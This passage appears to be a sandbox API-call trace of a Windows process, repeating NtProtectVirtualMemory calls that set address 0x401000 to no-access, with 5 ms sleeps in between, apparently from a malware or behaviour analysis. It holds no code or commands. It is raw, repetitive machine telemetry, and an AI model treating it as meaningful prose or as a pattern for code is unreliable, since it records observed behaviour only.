BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.887] Sleep (dwMilliseconds=0x5) [0311.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.934] Sleep (dwMilliseconds=0x5) [0311.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0311.979] Sleep (dwMilliseconds=0x5) [0312.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.070] Sleep (dwMilliseconds=0x5) [0312.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.120] Sleep (dwMilliseconds=0x5) [0312.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.164] Sleep (dwMilliseconds=0x5) [0312.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.213] Sleep (dwMilliseconds=0x5) [0312.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.276] Sleep (dwMilliseconds=0x5) [0312.321] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.322] Sleep (dwMilliseconds=0x5) [0312.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.370] Sleep (dwMilliseconds=0x5) [0312.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.415] Sleep (dwMilliseconds=0x5) [0312.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.461] Sleep (dwMilliseconds=0x5) [0312.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.507] Sleep (dwMilliseconds=0x5) [0312.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.557] Sleep (dwMilliseconds=0x5) [0312.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.602] Sleep (dwMilliseconds=0x5) [0312.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.663] Sleep (dwMilliseconds=0x5) [0312.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.715] Sleep (dwMilliseconds=0x5) [0312.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.764] Sleep (dwMilliseconds=0x5) [0312.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.853] Sleep (dwMilliseconds=0x5) [0312.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.903] Sleep (dwMilliseconds=0x5) [0312.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.953] Sleep (dwMilliseconds=0x5) [0312.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.996] Sleep (dwMilliseconds=0x5) [0313.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.038] Sleep (dwMilliseconds=0x5) [0313.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.082] Sleep (dwMilliseconds=0x5) [0313.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.132] Sleep (dwMilliseconds=0x5) [0313.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.175] Sleep (dwMilliseconds=0x5) [0313.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.222] Sleep (dwMilliseconds=0x5) [0313.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.278] Sleep (dwMilliseconds=0x5) [0313.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.321] Sleep (dwMilliseconds=0x5) [0313.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.368] Sleep (dwMilliseconds=0x5) [0313.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.416] Sleep (dwMilliseconds=0x5) [0313.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.465] Sleep (dwMilliseconds=0x5) [0313.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.511] Sleep (dwMilliseconds=0x5) [0313.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.559] Sleep (dwMilliseconds=0x5) [0313.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.606] Sleep (dwMilliseconds=0x5) [0313.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.653] Sleep (dwMilliseconds=0x5) [0313.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.696] Sleep (dwMilliseconds=0x5) [0313.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.739] Sleep (dwMilliseconds=0x5) [0313.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.787] Sleep (dwMilliseconds=0x5) [0313.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.835] Sleep (dwMilliseconds=0x5) [0313.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.912] Sleep (dwMilliseconds=0x5) [0313.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.958] Sleep (dwMilliseconds=0x5) [0314.007] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.007] Sleep (dwMilliseconds=0x5) [0314.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.124] Sleep (dwMilliseconds=0x5) [0314.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.184] Sleep (dwMilliseconds=0x5) [0314.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.225] Sleep (dwMilliseconds=0x5) [0314.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.288] Sleep (dwMilliseconds=0x5) [0314.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.338] Sleep (dwMilliseconds=0x5) [0314.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.381] Sleep (dwMilliseconds=0x5) [0314.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.504] Sleep (dwMilliseconds=0x5) [0314.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.605] Sleep (dwMilliseconds=0x5) [0314.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.691] Sleep (dwMilliseconds=0x5) [0314.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.788] Sleep (dwMilliseconds=0x5) [0314.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.849] Sleep (dwMilliseconds=0x5) [0314.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.916] Sleep (dwMilliseconds=0x5) [0314.972] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0314.972] Sleep (dwMilliseconds=0x5) [0315.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.033] Sleep (dwMilliseconds=0x5) [0315.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.105] Sleep (dwMilliseconds=0x5) [0315.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.198] Sleep (dwMilliseconds=0x5) [0315.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.241] Sleep (dwMilliseconds=0x5) [0315.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.290] Sleep (dwMilliseconds=0x5) [0315.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.332] Sleep (dwMilliseconds=0x5) [0315.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.381] Sleep (dwMilliseconds=0x5) [0315.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.428] Sleep (dwMilliseconds=0x5) [0315.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.473] Sleep (dwMilliseconds=0x5) [0315.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.518] Sleep (dwMilliseconds=0x5) [0315.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.570] Sleep (dwMilliseconds=0x5) [0315.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.613] Sleep (dwMilliseconds=0x5) [0315.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.754] Sleep (dwMilliseconds=0x5) [0315.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.803] Sleep (dwMilliseconds=0x5) [0315.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.851] Sleep (dwMilliseconds=0x5) [0315.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.899] Sleep (dwMilliseconds=0x5) [0315.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.942] Sleep (dwMilliseconds=0x5) [0315.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.988] Sleep (dwMilliseconds=0x5) [0316.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, 